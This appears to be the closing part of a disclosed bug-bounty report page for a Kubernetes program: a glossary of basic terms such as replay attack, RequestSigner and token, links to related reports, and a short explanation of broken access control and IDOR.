  • query parameter: a name and value pair on the end of a web address after a question mark.
  • recon: the early exploration phase of mapping out what a system does.
  • replay attack: capturing a valid message and sending it again later.
  • RequestSigner: the part of the AWS Python library that applies the cryptographic signature.
  • signed: carrying a cryptographic stamp proving the holder of a secret key produced it.
  • token: a small piece of text acting as a temporary pass.
  • webhook: a way for one program to ask another program a question over the network.
  • whitelist: a list of names that are allowed; anything else is rejected.
  • YAML: a human-friendly configuration format using indentation instead of brackets.

More by 0ria

View all

1 more disclosed report, best first.

More from Kubernetes

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.